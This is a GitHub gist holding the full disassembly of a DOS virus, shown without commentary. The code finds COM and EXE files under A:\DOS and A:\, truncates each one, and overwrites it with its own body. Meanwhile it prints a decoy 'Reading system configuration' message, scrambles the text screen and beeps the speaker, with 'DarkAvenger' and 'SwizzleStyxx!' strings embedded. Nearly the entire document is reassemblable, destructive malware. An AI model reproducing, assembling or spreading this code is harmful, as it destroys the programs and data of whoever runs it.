Skip to content

Instantly share code, notes, and snippets.

@benjojo
Created January 22, 2014 23:26
Show Gist options
  • Save benjojo/8569651 to your computer and use it in GitHub Desktop.
Save benjojo/8569651 to your computer and use it in GitHub Desktop.
; Input MD5 : 3E96C24A08AFA888AA613B1D9F54C2F8
.386
.model large
; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
; Segment type: Pure code
seg000 segment byte public 'CODE' use16
assume cs:seg000
assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
db 100h dup(?)
assume ss:seg000, ds:seg000
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
public start
start proc near
; FUNCTION CHUNK AT 02C5 SIZE 00000007 BYTES
call sub_14B
call sub_19C
call sub_154
call sub_2BD
call sub_25D
call sub_291
call sub_2D8
call sub_291
call sub_2CC
call sub_265
call sub_2CC
call sub_265
call sub_2D8
call sub_291
call sub_255
call sub_291
call sub_2D8
call sub_291
call sub_2CC
call sub_265
call sub_2CC
call sub_265
call sub_2D8
call sub_291
jmp loc_2C5
start endp
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_14B proc near ; CODE XREF: startp
mov ax, 0FA01h
mov dx, 5945h
int 16h ; KEYBOARD -
retn
sub_14B endp
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_154 proc near ; CODE XREF: start+6p
mov si, 382h
loc_157: ; CODE XREF: sub_154+45j
mov bx, [si]
or bx, bx
jz short locret_19B
mov ax, 34DDh
mov dx, 12h
cmp dx, bx
jnb short loc_196
div bx
mov bx, ax
in al, 61h ; PC/XT PPI port B bits:
; 0: Tmr 2 gate ÍËÍ OR 03H=spkr ON
; 1: Tmr 2 data ͼ AND 0fcH=spkr OFF
; 3: 1=read high switches
; 4: 0=enable RAM parity checking
; 5: 0=enable I/O channel check
; 6: 0=hold keyboard clock low
; 7: 0=enable kbrd
test al, 3
jnz short loc_179
or al, 3
out 61h, al ; PC/XT PPI port B bits:
; 0: Tmr 2 gate ÍËÍ OR 03H=spkr ON
; 1: Tmr 2 data ͼ AND 0fcH=spkr OFF
; 3: 1=read high switches
; 4: 0=enable RAM parity checking
; 5: 0=enable I/O channel check
; 6: 0=hold keyboard clock low
; 7: 0=enable kbrd
mov al, 0B6h ; '¶'
out 43h, al ; Timer 8253-5 (AT: 8254.2).
loc_179: ; CODE XREF: sub_154+1Bj
mov al, bl
out 42h, al ; Timer 8253-5 (AT: 8254.2).
mov al, bh
out 42h, al ; Timer 8253-5 (AT: 8254.2).
mov bx, [si+2]
xor ah, ah
int 1Ah ; CLOCK - GET TIME OF DAY
; Return: CX:DX = clock count
; AL = 00h if clock was read or written (via AH=0,1) since the previous
; midnight
; Otherwise, AL > 0
add bx, dx
loc_18A: ; CODE XREF: sub_154+3Aj
int 1Ah ; CLOCK - GET TIME OF DAY
; Return: CX:DX = clock count
; AL = 00h if clock was read or written (via AH=0,1) since the previous
; midnight
; Otherwise, AL > 0
cmp dx, bx
jnz short loc_18A
in al, 61h ; PC/XT PPI port B bits:
; 0: Tmr 2 gate ÍËÍ OR 03H=spkr ON
; 1: Tmr 2 data ͼ AND 0fcH=spkr OFF
; 3: 1=read high switches
; 4: 0=enable RAM parity checking
; 5: 0=enable I/O channel check
; 6: 0=hold keyboard clock low
; 7: 0=enable kbrd
and al, 0FCh
out 61h, al ; PC/XT PPI port B bits:
; 0: Tmr 2 gate ÍËÍ OR 03H=spkr ON
; 1: Tmr 2 data ͼ AND 0fcH=spkr OFF
; 3: 1=read high switches
; 4: 0=enable RAM parity checking
; 5: 0=enable I/O channel check
; 6: 0=hold keyboard clock low
; 7: 0=enable kbrd
loc_196: ; CODE XREF: sub_154+11j
add si, 4
jmp short loc_157
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
locret_19B: ; CODE XREF: sub_154+7j
retn
sub_154 endp
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_19C proc near ; CODE XREF: start+3p
push ax
push bx
push cx
push dx
push si
push di
push ss
push sp
mov ax, 0B800h
mov es, ax
assume es:nothing
mov word_2EE, 0Ch
mov word_2E6, 0D0h ; 'Ð'
loc_1B5: ; CODE XREF: sub_19C+ADj
mov ax, word_2E6
mov word_2E8, ax
loc_1BB: ; CODE XREF: sub_19C+9Fj
mov word_2EA, 39h ; '9'
mov word_2EC, 1
mov di, 798h
nop
mov ax, word_2EE
mov word_2E4, ax
loc_1D1: ; CODE XREF: sub_19C+97j
mov cx, word_2EA
dec cx
push ds
push es
pop ds
assume ds:nothing
mov si, di
add si, 2
cld
rep movsw
pop ds
assume ds:nothing
mov cx, ds:2ECh
push ds
push es
pop ds
assume ds:nothing
mov si, di
sub si, 0A0h ; ' '
mov ax, 0A2h ; '¢'
cld
loc_1F3: ; CODE XREF: sub_19C+5Cj
movsw
sub di, ax
sub si, ax
loop loc_1F3
pop ds
assume ds:nothing
mov cx, ds:2EAh
push ds
push es
pop ds
assume ds:nothing
mov si, di
sub si, 2
std
rep movsw
pop ds
assume ds:nothing
mov cx, ds:2ECh
inc cx
push ds
push es
pop ds
assume ds:nothing
mov si, di
add si, 0A0h ; ' '
mov ax, 0A2h ; '¢'
std
loc_21D: ; CODE XREF: sub_19C+86j
movsw
add di, ax
add si, ax
loop loc_21D
pop ds
assume ds:nothing
add word ptr ds:2EAh, 2
add word ptr ds:2ECh, 2
dec word ptr ds:2E4h
jnz short loc_1D1
dec word ptr ds:2E8h
jz short loc_23E
jmp loc_1BB
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_23E: ; CODE XREF: sub_19C+9Dj
sub word ptr ds:2E6h, 8
dec word ptr ds:2EEh
jz short loc_24C
jmp loc_1B5
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_24C: ; CODE XREF: sub_19C+ABj
pop sp
pop ss
assume ss:nothing
pop di
pop si
pop dx
pop cx
pop bx
pop ax
retn
sub_19C endp
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_255 proc near ; CODE XREF: start+2Ap
mov ah, 3Bh ; ';'
mov dx, 314h
int 21h ; DOS - 2+ - CHANGE THE CURRENT DIRECTORY (CHDIR)
; DS:DX -> ASCIZ directory name (may include drive)
retn
sub_255 endp
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_25D proc near ; CODE XREF: start+Cp
mov ah, 3Bh ; ';'
mov dx, 31Bh
int 21h ; DOS - 2+ - CHANGE THE CURRENT DIRECTORY (CHDIR)
; DS:DX -> ASCIZ directory name (may include drive)
retn
sub_25D endp
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_265 proc near ; CODE XREF: start+1Bp start+21p ...
mov cx, 2
nop
mov ah, 4Eh ; 'N'
nop
mov dx, 308h
nop
int 21h ; DOS - 2+ - FIND FIRST ASCIZ (FINDFIRST)
; CX = search attributes
; DS:DX -> ASCIZ filespec
; (drive, path, and wildcards allowed)
nop
mov ah, 3Ch ; '<'
nop
xor cx, cx
nop
mov dx, 9Eh ; 'ž'
nop
int 21h ; DOS - 2+ - CREATE A FILE WITH HANDLE (CREAT)
; CX = attributes for file
; DS:DX -> ASCIZ filename (may include drive and path)
nop
mov bh, 40h ; '@'
nop
xchg ax, bx
nop
mov dx, 100h
nop
mov cx, 2F4h
nop
int 21h ; DOS -
nop
retn
sub_265 endp
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_291 proc near ; CODE XREF: start+Fp start+15p ...
mov cx, 2
nop
mov ah, 4Eh ; 'N'
nop
mov dx, 30Eh
nop
int 21h ; DOS - 2+ - FIND FIRST ASCIZ (FINDFIRST)
; CX = search attributes
; DS:DX -> ASCIZ filespec
; (drive, path, and wildcards allowed)
nop
mov ah, 3Ch ; '<'
nop
xor cx, cx
nop
mov dx, 9Eh ; 'ž'
nop
int 21h ; DOS - 2+ - CREATE A FILE WITH HANDLE (CREAT)
; CX = attributes for file
; DS:DX -> ASCIZ filename (may include drive and path)
nop
mov bh, 40h ; '@'
nop
xchg ax, bx
nop
mov dx, 100h
nop
mov cx, 2F4h
nop
int 21h ; DOS -
nop
retn
sub_291 endp
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_2BD proc near ; CODE XREF: start+9p
mov ah, 9
mov dx, 33Dh
int 21h ; DOS - PRINT STRING
; DS:DX -> string terminated by "$"
retn
sub_2BD endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; START OF FUNCTION CHUNK FOR start
loc_2C5: ; CODE XREF: start+48j
mov ah, 9
mov dx, 31Fh
int 21h ; DOS - PRINT STRING
; END OF FUNCTION CHUNK FOR start ; DS:DX -> string terminated by "$"
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_2CC proc near ; CODE XREF: start+18p start+1Ep ...
mov cx, 2
mov ah, 4Fh ; 'O'
mov dx, 308h
nop
int 21h ; DOS - 2+ - FIND NEXT ASCIZ (FINDNEXT)
; [DTA] = data block from
; last AH = 4Eh/4Fh call
retn
sub_2CC endp
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_2D8 proc near ; CODE XREF: start+12p start+24p ...
mov cx, 2
mov ah, 4Fh ; 'O'
mov dx, 30Eh
nop
int 21h ; DOS - 2+ - FIND NEXT ASCIZ (FINDNEXT)
; [DTA] = data block from
; last AH = 4Eh/4Fh call
retn
sub_2D8 endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
word_2E4 dw 0 ; DATA XREF: sub_19C+32w
word_2E6 dw 70h ; DATA XREF: sub_19C+13w
; sub_19C:loc_1B5r
word_2E8 dw 0 ; DATA XREF: sub_19C+1Cw
word_2EA dw 3Bh ; DATA XREF: sub_19C:loc_1BBw
; sub_19C:loc_1D1r
word_2EC dw 3 ; DATA XREF: sub_19C+25w
word_2EE dw 0 ; DATA XREF: sub_19C+Dw sub_19C+2Fr
db 18h dup(0), 2Ah, 2Eh, 3Fh, 6Fh, 3Fh, 0, 2Ah, 2Eh, 3Fh
db 78h, 3Fh, 0, 41h, 3Ah, 5Ch, 44h, 4Fh, 53h, 0, 41h, 3Ah
db 5Ch, 0, 1, 53h, 1, 77h, 1, 69h, 1, 7Ah, 1, 7Ah, 1, 6Ch
db 1, 65h, 1, 53h, 1, 74h, 1, 79h, 1, 78h, 1, 78h, 1, 21h
db 1, 0Dh, 0Ah, 24h, 52h, 65h, 61h, 64h, 69h, 6Eh, 67h
db 20h, 73h, 79h, 73h, 74h, 65h, 6Dh, 20h, 63h, 6Fh, 6Eh
db 66h, 69h, 67h, 75h, 72h, 61h, 74h, 69h, 6Fh, 6Eh, 2Ch
db 20h, 70h, 6Ch, 65h, 61h, 73h, 65h, 20h, 77h, 61h, 69h
db 74h, 2Eh, 0Dh, 0Ah, 24h, 1, 44h, 1, 61h, 1, 72h, 1
db 6Bh, 1, 41h, 1, 76h, 1, 65h, 1, 6Eh, 1, 67h, 1, 65h
db 1, 72h, 1, 0, 64h, 0, 2, 0, 0C8h, 0, 2, 0, 64h, 0, 2
db 0, 0C8h, 0, 2, 0, 64h, 0, 2, 0, 0C8h, 0, 2, 0, 64h
db 0, 2, 0, 0C8h, 0, 2, 0, 64h, 0, 2, 0, 0C8h, 0, 2, 0
db 64h, 0, 2, 0, 0C8h, 0, 2, 0, 64h, 0, 2, 0, 0C8h, 0
db 2, 0, 64h, 0, 2, 0, 0C8h, 0, 2, 0, 64h, 0, 2, 0, 0C8h
db 0, 2, 0, 64h, 0, 2, 0, 0C8h, 0, 2, 0, 64h, 0, 2, 0
db 0C8h, 0, 2, 0, 64h, 0, 2, 0, 0C8h, 0, 2, 0, 64h, 0
db 2, 0, 0C8h, 0, 2, 0, 64h, 0, 2, 0, 0C8h, 0, 2, 3 dup(0)
db 0FC0Ah dup(?)
seg000 ends
end start
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment